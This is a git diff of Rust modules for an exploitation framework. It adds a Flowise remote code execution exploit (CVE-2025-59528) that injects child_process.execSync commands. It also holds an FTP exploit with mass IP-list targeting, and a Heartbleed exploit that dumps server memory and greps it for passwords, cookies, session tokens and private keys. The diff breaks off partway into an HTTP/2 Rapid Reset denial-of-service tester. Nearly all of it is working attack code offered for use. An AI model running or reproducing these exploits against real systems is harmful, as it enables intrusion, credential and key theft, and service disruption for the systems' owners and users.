let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
Ok(format!("{}:{}", stripped_host, port_str))
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
formatted
.to_socket_addrs()
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
.next()
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
Ok(formatted)
}
fn prompt_existing_file(msg: &str) -> Result<String> {
loop {
let candidate = prompt_required(msg)?;
if Path::new(&candidate).is_file() {
return Ok(candidate);
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
);
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,185 @@
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5
use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::io::{self, Write};
use std::time::Duration;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"#
.cyan()
);
}
/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
let data = json!({
"email": email,
"password": password
});
let response = client
.post(&login_url)
.header("x-request-from", "internal")
.header("Accept-Language", "pt-BR,pt;q=0.9")
.header("Accept", "application/json, text/plain, */*")
.header("Content-Type", "application/json")
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
.header("Origin", "http://workflow.flow.hc")
.header("Referer", "http://workflow.flow.hc/signin")
.header("Accept-Encoding", "gzip, deflate, br")
.header("Connection", "keep-alive")
.json(&data)
.send()
.await
.context("Failed to send login request")?;
if response.status().is_success() {
// Extract session token/cookie from response
// The actual token extraction depends on Flowise's response format
// For now, we'll use the cookie jar from the client
Ok("authenticated".to_string())
} else {
Err(anyhow!("Login failed with status: {}", response.status()))
}
}
/// Execute remote code via the customMCP endpoint
async fn execute_rce(
client: &Client,
url: &str,
email: &str,
password: &str,
cmd: &str,
) -> Result<()> {
// First, login to get authenticated session
println!("{}", "[*] Attempting to login...".yellow());
login(client, url, email, password).await?;
println!("{}", "[+] Login successful".green());
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
// Escape the command for JavaScript execution
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
// Construct the malicious payload
let command = format!(
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
escaped_cmd
);
let data = json!({
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
});
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
let response = client
.post(&rce_url)
.header("x-request-from", "internal")
.header("Content-Type", "application/json")
.json(&data)
.send()
.await
.context("Failed to send RCE request")?;
if response.status() == 401 {
// Retry with internal header if we get 401
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
let retry_response = client
.post(&rce_url)
.header("x-request-from", "internal")
.json(&data)
.send()
.await
.context("Failed to retry RCE request")?;
if retry_response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
}
} else if response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
// Build HTTP client with cookie support and SSL verification disabled
let client = Client::builder()
.timeout(Duration::from_secs(30))
.danger_accept_invalid_certs(true)
.cookie_store(true)
.build()
.context("Failed to create HTTP client")?;
// Prompt for credentials and command
let mut email = String::new();
let mut password = String::new();
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut email)?;
print!("{}", "Password: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("{}", "Command to execute: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let email = email.trim();
let password = password.trim();
let command = command.trim();
if email.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Email, password, and command must be provided"));
}
execute_rce(&client, &base_url, email, password, command).await?;
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2025_59528_flowise_rce;
@@ -2,7 +2,7 @@ use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{copy, BufRead, BufReader, Write};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
@@ -35,10 +35,13 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
let mut ftp = FtpStream::connect(
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
)
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
// Resolve address with better error handling
let socket_addr = addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
let mut ftp = FtpStream::connect(socket_addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
@@ -77,25 +80,28 @@ fn save_result(line: &str) -> Result<()> {
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
println!("Enter the FTP port (default 21):");
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
io::stdout().flush()?;
let mut port_input = String::new();
std::io::stdin().read_line(&mut port_input)?;
io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
};
println!("Do you want to use a list of IPs? (yes/no):");
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
io::stdout().flush()?;
let mut use_list = String::new();
std::io::stdin().read_line(&mut use_list)?;
io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
println!("Enter path to the IP list file:");
print!("{}", "Enter path to the IP list file: ".cyan().bold());
io::stdout().flush()?;
let mut path = String::new();
std::io::stdin().read_line(&mut path)?;
io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
@@ -116,32 +122,33 @@ pub async fn run(target: &str) -> Result<()> {
continue;
}
let ip_owned = ip.to_string();
let ip_for_errors = ip_owned.clone(); // Clone for error messages
let port = port;
let target_clone = target.clone(); // // Clone per task
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target_clone, e))?;
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
save_result(&format!("{} TIMEOUT", target_clone))?;
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
}
}
@@ -165,23 +172,24 @@ pub async fn run(target: &str) -> Result<()> {
let target_owned = target.to_string();
let port = port;
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target, e))?;
println!("{}", format!("[-] Exploit error: {}", e).red());
let _ = save_result(&format!("{} FAIL: {}", target, e));
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target, e))?;
println!("{}", format!("[-] Join error: {}", e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
save_result(&format!("{} TIMEOUT", target))?;
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", target));
}
}
}
+375 -72
View File
@@ -1,37 +1,268 @@
use anyhow::{Context, Result};
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::Write;
use std::io::{Write, BufRead, BufReader};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target)?;
run_with_config(target, config).await
}
fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
let addr = format!("{}:{}", host, config.port);
println!("[*] Connecting to {}...", addr);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
@@ -41,79 +272,153 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
@@ -122,18 +427,18 @@ fn build_client_hello() -> Vec<u8> {
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
@@ -146,14 +451,12 @@ fn build_client_hello() -> Vec<u8> {
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
@@ -162,13 +465,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
}
@@ -0,0 +1,445 @@
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
// Exploit Author: Madhusudhan Rajappa
// Date: 29th August 2025
// Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability
Tester
WARNING: Only use on systems you own or have
permission to test!
"#
.cyan()
);
}
/// Normalize IPv6 host with brackets
fn normalize_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
port: u16,
use_ssl: bool,
num_requests: usize,
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
}
Ok(())
}
/// Perform rapid reset attack test
async fn rapid_reset_test(
host: &str,
port: u16,
use_ssl: bool,
num_streams: usize,
delay_ms: u64,
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
